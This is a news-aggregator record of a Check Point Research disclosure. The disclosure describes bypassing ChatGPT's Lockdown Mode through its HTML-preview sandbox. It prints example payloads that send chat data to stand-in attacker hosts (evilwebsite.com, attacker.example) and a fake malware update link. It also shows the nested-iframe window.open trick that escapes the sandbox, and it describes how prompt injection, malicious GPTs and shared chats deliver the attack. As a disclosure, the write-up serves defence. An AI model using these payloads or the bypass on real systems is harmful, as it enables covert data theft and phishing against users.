{"slug": "chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data", "title": "ChatGPT Lockdown Mode Bypass: Phishing, Malware Delivery, and Silent Data Exfiltration", "summary": "Check Point Research found a vulnerability that let attackers bypass OpenAI's ChatGPT Lockdown Mode and covertly exfiltrate chat data to an external server, researcher Alexey Bukhteyev reported. The flaw also allowed manipulation of the ChatGPT Classic interface, including popups with arbitrary content that could enable phishing, malware delivery and session compromise, and could be triggered via a malicious prompt, a malicious GPT or a shared chat. The finding follows Check Point's earlier disclosure of DNS-tunneling data leakage in ChatGPT's code-execution runtime, which OpenAI fixed before introducing Lockdown Mode, an optional setting that restricts live web access to cached content, blocks internet images, disables network requests from Canvas-generated code and turns off Deep Research, Agent Mode, live connectors and file downloads.", "body_md": "Research by: **Alexey Bukhteyev**\n\nEarlier this year, Check Point Research disclosed a [security flaw in ChatGPT’s code-execution runtime](https://research.checkpoint.com/2026/chatgpt-data-leakage-via-a-hidden-outbound-channel-in-the-code-execution-runtime/) that allowed sensitive conversation data to be silently exfiltrated to an attacker-controlled server through DNS tunneling, a hidden outbound channel that bypassed the runtime’s network isolation. A fix for this issue was promptly deployed.\n\nMoreover, OpenAI later introduced a new security feature: [Lockdown Mode](https://openai.com/index/introducing-lockdown-mode-and-elevated-risk-labels-in-chatgpt/).\n\nLockdown Mode is an optional advanced security setting for logged-in ChatGPT users. Its purpose is to reduce the risk that a prompt-injection attack can exfiltrate sensitive data by causing ChatGPT or one of its tools to make outbound web, app, connector, or file-download requests. A classic example, described in [OpenAI’s own write-up](https://openai.com/index/ai-agent-link-safety/) on URL safety, is an attacker tricking the AI into loading a link such as `attacker.example/collect?data=<private data>` — the private data ends up in the attacker’s server logs even though nothing suspicious ever appears in the chat.\n\nRecognizing that prompt injection remains a persistent risk regardless of implemented guardrails, Lockdown Mode mitigates it by cutting off the channels through which data could leave the conversation. When enabled, it restricts live web access to cached content, blocks the loading and display of images from the internet, disables network requests from Canvas-generated code, and turns off Deep Research, Agent Mode, live connectors, and file downloads.\n\nWe found a vulnerability in ChatGPT that allowed an attacker to bypass Lockdown Mode and perform covert exfiltration of chat data to an external server.\n\nPotential attack scenarios involving this vulnerability were not limited to chat data leakage. The vulnerability allowed for manipulation of the ChatGPT Classic interface, including displaying popup windows with arbitrary content, opening the door to a wide range of phishing attacks.\n\nThe attack could be carried out in several ways: through a malicious prompt, a malicious GPT, or a shared chat.\n\nThe following sections cover the technical details behind the vulnerability and walk through the possible exploitation scenarios.\n\nOn February 2026, OpenAI added the [HTML page preview](https://x.com/OpenAIDevs/status/2024600394299822096) feature into ChatGPT code blocks. It looks like the following:\n\nOf course, the implementation includes several safeguards around this feature, since rendering user-controlled HTML with JavaScript inside the ChatGPT interface could otherwise create a direct path for private-data exfiltration.\n\nThe most obvious attack scenarios include:\n\n`<img src=\"<https://evilwebsite.com/?q=personal_data>\" />` If such images could be rendered, an attacker could trigger zero-click exfiltration of private data.`<a href=\"<https://evilwebsite.com/malware.exe>\">Download ChatGPT update</a>` This would allow attackers to place convincing social-engineering lures directly inside the ChatGPT interface and distribute them through shared chats.`target=\"_blank\"` directive:`<a href=\"<https://evilwebsite.com/>\" target=\"_blank\">Click me</a>` or through JavaScript:`window.open(\"<https://evilwebsite.com/>\", \"_blank\", \"width=380,height=260\");` This scenario would be especially risky in the ChatGPT Classic client, where users may perceive the popup as part of the trusted application context.`localStorage` data for `chatgpt.com`. This would create a session-compromise risk.\nThese scenarios are effectively mitigated through several layers of isolation and runtime enforcement.\n\nThe rendered HTML is placed inside a sandbox, separating user-controlled content from the main ChatGPT application context, preventing the rendered page from directly accessing the parent document, ChatGPT UI state, cookies, or `localStorage` associated with `chatgpt.com`.\n\nAll attempts by the page to send data to an external resource, or load remote images, scripts, links, or open arbitrary external URLs are intercepted by the sandbox and surfaced as warnings:\n\nThe sandbox is implemented in two nested iframes. If we look at the implementation, we see that the sandbox doesn’t restrict some actions in the iframe. For example, the `allow-popups`` allow-popups-to-escape-sandbox`\n\nThe popups are controlled in a different way. The sandbox scripts redefine the `window.open` function:\n\n``` js\nwindow.open: h=>{if(!h)return null;const{location:f}=r;return an(o,f,h),null}\n```\n\nThanks to that, when the webpage displayed in the `iframe` tries to open a popup, ChatGPT does not allow this until the action is approved by the user. When the page tries to open a popup with empty URL or `about:blank` the function just returns `null` , and the user does not even see a notification.\n\nHowever, popups are not explicitly restricted by the `iframe` sandbox, because it has the `allow-popups` token.\n\nTherefore, if we could get a real `window.open` function, we would be able to open a popup, bypassing the HTML sandbox restrictions, and even the Lockdown Mode. In fact, we can create a one more nested `iframe` inside our sandboxed page, and use its `contentWindow.open` function:\n\n``` js\nwindow.open(\"about:blank\"); // blocked\n\n// creating a nested iframe\nvar f = document.createElement('iframe');\ndocument.body.appendChild(f);\n\nf.contentWindow.open(\"about:blank\"); // works\n```\n\nFurther, having managed to open a pop-up window, the attacker can place arbitrary HTML code in it, which will no longer be executed in the sandbox, since the token `allow-popups-to-escape-sandbox` is present.\n\nThis vulnerability opens a wide attack surface. It could enable the covert theft of entire chat history and uploaded files, the distribution of malware disguised as a legitimate update, and even credential theft. Below, we walk through several scenarios and explain how each one works.\n\nTypically, default browser settings prevent JavaScript from opening pop-up windows. Opening a new window normally requires an explicit user action, such as clicking a link or a button.\n\nAn attacker needs to implement a plausible decoy to trick the user into clicking on a generated preview. Since the attacker controls the content of the generated page, crafting a convincing lure is straightforward. The window that opens will retain the ChatGPT application’s icon, while the title is controlled by an attacker, creating the impression that the user is still interacting with the ChatGPT application. This, for example, can be used to trick the user to download malware disguised as an application update. The ChatGPT Classic app does not allow automatic file downloads, so to download a file, the user must additionally click on the link.\n\nThis scenario is even easier to implement in a browser, as automatic downloads are not blocked. Furthermore, the victim doesn’t even need to have an account, and the attacker only needs to share a chat containing a malicious page, making any clicks on content in shared chats dangerous:\n\nWe found that `window.open` in the Electron-based ChatGPT Classic application works even without a user gesture. This makes the vulnerability significantly more dangerous: an attacker could silently exfiltrate data without requiring any interaction from the user, simply having a conversation would be enough to trigger the attack. This is demonstrated in **Video 1**, where a malicious GPT silently leaks chat messages to an attacker-controlled server.\n\nBeyond that, we also found it was possible to reload content in the main ChatGPT application window and perform certain actions on behalf of the user, such as forcibly signing them out of their account. This could allow an attacker to craft a convincing lure and trick the user into re-authenticating on an attacker-controlled page, thereby silently stealing their credentials.\n\nCheck Point Research responsibly disclosed this vulnerability to OpenAI. On September 18, 2026, OpenAI informed us that it had deployed a fix by removing the `allow-popups` and `allow-popups-to-escape-sandbox` permissions from the outer HTML-preview sandbox iframe. We subsequently retested the issue and confirmed that the exploitation technique described in this article no longer works.\n\nAs AI assistants evolve into full execution environments, running code in the cloud and rendering content on the client side, all while handling medical records, financial data, and other highly sensitive information, every new capability expands the attack surface, including features built purely for convenience.\n\nGuardrails and the built-in security features of AI agents and applications help mitigate threats, but they still offer no absolute guarantee of protection. That is worth remembering before entrusting AI with sensitive information or granting it full access to your computer. Securing these systems requires looking beyond individual features and considering the platform as a whole. The benefits of modern AI assistants are enormous, but adopting them safely demands careful attention to every layer, including the ones users never think about.", "url": "https://wpnews.pro/news/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data", "canonical_source": "https://research.checkpoint.com/2026/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data-exfiltration/", "published_at": "2026-11-05 14:00:11+00:00", "updated_at": "2026-11-05 14:24:50.125728+00:00", "lang": "en", "topics": ["ai-safety", "artificial-intelligence", "large-language-models", "ai-agents"], "entities": ["Check Point Research", "OpenAI", "ChatGPT", "Lockdown Mode", "Alexey Bukhteyev", "ChatGPT Classic", "Deep Research", "Agent Mode"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data", "markdown": "https://wpnews.pro/news/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data.md", "text": "https://wpnews.pro/news/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data.txt", "jsonld": "https://wpnews.pro/news/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data.jsonld"}}